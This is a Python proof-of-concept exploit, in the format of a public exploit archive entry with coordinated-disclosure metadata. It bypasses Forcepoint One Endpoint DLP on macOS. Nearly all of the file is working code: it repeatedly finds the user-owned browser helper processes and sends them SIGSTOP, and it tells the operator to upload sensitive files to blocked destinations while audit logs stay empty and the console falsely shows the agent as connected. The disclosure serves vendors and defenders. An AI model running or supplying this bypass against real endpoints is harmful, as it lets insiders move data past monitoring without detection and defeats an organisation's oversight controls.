#!/usr/bin/env python3 # Exploit Title: Forcepoint One Endpoint macOS 25.08.5008 - DLP Bypass # via Unprivileged SIGSTOP of Browser Helper Processes # Google Dork: N/A # Date: 2026-03-28 # Exploit Author: Manish Tripathy # Vendor Homepage: https://www.forcepoint.com # Software Link: https://support.forcepoint.com (enterprise distribution) # Version: Forcepoint One Endpoint v25.08.5008, # DLP Policy Engine v10.2.0.298 # Tested on: macOS 15.x (Sequoia) # CVE: Pending — CERT/CC VRF#26-02-JDFCX, MITRE CNA-LR filed # # Description: # A local standard (non-admin) user can fully bypass Forcepoint DLP # content inspection by sending SIGSTOP to user-owned browser helper # processes (Websense Endpoint Helper, SafariExtension.appex). # The enforcement stack fails completely open: # - Data transmits to blocked destinations uninterrupted # - Zero DLP policy violation alerts generated # - Zero audit log entries created (EndPointClassifier.log confirmed) # - Management console falsely reports agent status as "Connected" # # Root-level daemon wsdlpd correctly blocks SIGSTOP with EPERM, # but ALL browser traffic must pass through user-space helpers via XPC # before reaching wsdlpd. Suspending helpers means no classification # request is ever initiated — wsdlpd never sees the data. # # Upon SIGCONT, queued XPC requests drain simultaneously (multiple tabs # open in rapid succession), empirically confirming requests were held # at the IPC layer. # # References: # https://gist.github.com/usualdork/4a29935545d70f9d57f621438d2ef214 # CERT/CC VRF#26-02-JDFCX # CVE-2019-6144 (same vendor, same product, same impact, prior version) # # Disclosure: 45-day coordinated disclosure — 2026-02-11 to 2026-03-28 #!/usr/bin/env python3 """ PoC: Forcepoint DLP Endpoint for macOS - Process Suspension Bypass Product: Forcepoint One Endpoint v25.08.5008 / DLP Policy Engine v10.2.0.298 Platform: macOS 15.x (Sequoia), macOS 26.2 (Tahoe) CERT/CC: VRF#26-02-JDFCX CWE: CWE-693, CWE-284, CWE-778 CVSS 3.1: 7.1 HIGH - AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N ARCHITECTURE NOTE: wsdlpd runs as root. A standard user receives EPERM attempting SIGSTOP against it. This script explicitly demonstrates this boundary. The bypass works by suspending the USER-SPACE browser helper processes (Websense Endpoint Helper, SafariExtension) BEFORE any data reaches wsdlpd. Empirically: Safari continues to function and file uploads succeed while helpers are in Ts (stopped) state. Upon SIGCONT, queued XPC requests drain simultaneously (multiple tabs open), confirming requests were held at the XPC/IPC layer. The classification request never reaches wsdlpd - confirmed by zero EndPointClassifier.log entries during the bypass window. PRIVILEGES REQUIRED: Standard user (no sudo, no admin group membership) """ import subprocess import os import signal import time import multiprocessing import sys from datetime import datetime def ts(): return datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] def run_cmd(cmd): try: return subprocess.check_output( cmd, shell=True, stderr=subprocess.DEVNULL ).decode().strip() except: return "" def get_current_uid(): return os.getuid() def get_pid_uid(pid): try: result = run_cmd(f"ps -o uid= -p {pid}") return int(result.strip()) except: return -1 def browser_blindness_loop(): """ Targets Forcepoint's user-space Safari browser helper processes. These processes run under the standard user's UID and gate all browser data to wsdlpd via XPC/IPC. Suspending them prevents any classification request from ever reaching wsdlpd. """ print(f"[{ts()}] [LOOP-1] Browser enforcement suspension active.") print(f"[{ts()}] [LOOP-1] Targeting user-space Safari/Forcepoint helpers only.") # Confirmed suspended in live run (2026-03-28): # PID 4598 — Websense Endpoint Helper (uid=502) # PID 95556 — SafariExtension (uid=502) # Additional names observed on some configurations; not present # in live run on 2026-03-28. SafariContentBlocker.appex was named # in the original CERT/CC filing but was not running on the test # endpoint at time of live reproduction. targets = [ "Websense Endpoint Helper", "SafariExtension", "ForcepointExtensions", "com.forcepoint.dlp.safari", "SafariContentBlocker", ] my_uid = get_current_uid() my_pid = os.getpid() while True: ps_output = run_cmd("ps -ax -o pid,uid,comm") for line in ps_output.split('\n'): parts = line.strip().split(None, 2) if len(parts) < 3: continue try: pid = int(parts[0]) uid = int(parts[1]) comm = parts[2] except ValueError: continue if pid == my_pid: continue for t in targets: if t.lower() in comm.lower(): if uid != my_uid: print(f"[{ts()}] [SKIPPED] PID {pid} ({comm}) " f"uid={uid} != current uid={my_uid} " f"-- EPERM would occur, not attempting") else: try: os.kill(pid, signal.SIGSTOP) print(f"[{ts()}] [SUSPENDED] PID {pid} ({comm}) " f"uid={uid} -- SIGSTOP sent successfully") except PermissionError: print(f"[{ts()}] [EPERM] PID {pid} ({comm}) " f"-- permission denied (root-owned)") except ProcessLookupError: pass time.sleep(0.05) def probe_wsdlpd(): """ Demonstrates that wsdlpd (root-owned) is protected against SIGSTOP from a standard user. Runs ONCE at startup to log the EPERM result as evidence of the privilege boundary. """ wsdlpd_pids = run_cmd("pgrep -x wsdlpd") if not wsdlpd_pids: print(f"[{ts()}] [PROBE] wsdlpd not found running.") return my_uid = get_current_uid() for pid_str in wsdlpd_pids.strip().split('\n'): try: pid = int(pid_str.strip()) uid = get_pid_uid(pid) print(f"[{ts()}] [PROBE] wsdlpd PID={pid} uid={uid} " f"(current user uid={my_uid})") print(f"[{ts()}] [PROBE] Attempting SIGSTOP on wsdlpd " f"(expected result: EPERM)...") try: os.kill(pid, signal.SIGSTOP) print(f"[{ts()}] [PROBE] WARNING: SIGSTOP to wsdlpd SUCCEEDED " f"-- unexpected, document this") except PermissionError: print(f"[{ts()}] [PROBE] CONFIRMED: SIGSTOP to wsdlpd returned " f"EPERM -- wsdlpd is protected (runs as root uid={uid})") except ProcessLookupError: print(f"[{ts()}] [PROBE] wsdlpd PID {pid} no longer exists.") except ValueError: continue if __name__ == "__main__": print("=" * 60) print("Forcepoint DLP Endpoint macOS - Process Suspension PoC") print("CERT/CC VRF#26-02-JDFCX") print("=" * 60) print() print(f"[{ts()}] Running as uid={os.getuid()} (standard user -- no sudo)") print() print(f"[{ts()}] === PHASE 1: Probing wsdlpd protection boundary ===") probe_wsdlpd() print() print(f"[{ts()}] === PHASE 2: Starting browser enforcement suspension ===") print(f"[{ts()}] Once active, perform the following:") print(f"[{ts()}] 1. Open Safari") print(f"[{ts()}] 2. Upload a file with sensitive data to a blocked destination") print(f"[{ts()}] 3. Confirm upload succeeds without Forcepoint block popup") print(f"[{ts()}] 4. Check Forcepoint Management Console -- status shows Connected") print(f"[{ts()}] 5. Check Forcepoint audit logs -- confirm zero new entries") print() p1 = multiprocessing.Process(target=browser_blindness_loop) p1.start() print(f"[{ts()}] [ACTIVE] Bypass running. Press Ctrl+C to stop and resume processes.") print() try: while True: time.sleep(1) except KeyboardInterrupt: print() print(f"[{ts()}] Stopping bypass loop...") p1.terminate() p1.join() print(f"[{ts()}] Resuming any suspended processes (cleanup)...") # Confirmed targets + alternate config names cleanup_targets = [ "Websense Endpoint Helper", "SafariExtension", "ForcepointExtensions", "com.forcepoint.dlp.safari", "SafariContentBlocker", ] for t in cleanup_targets: pids = run_cmd(f"pgrep -f '{t}'") for pid_str in pids.split('\n'): try: pid = int(pid_str.strip()) os.kill(pid, signal.SIGCONT) print(f"[{ts()}] [RESUMED] PID {pid} ({t})") except: pass print(f"[{ts()}] Done.")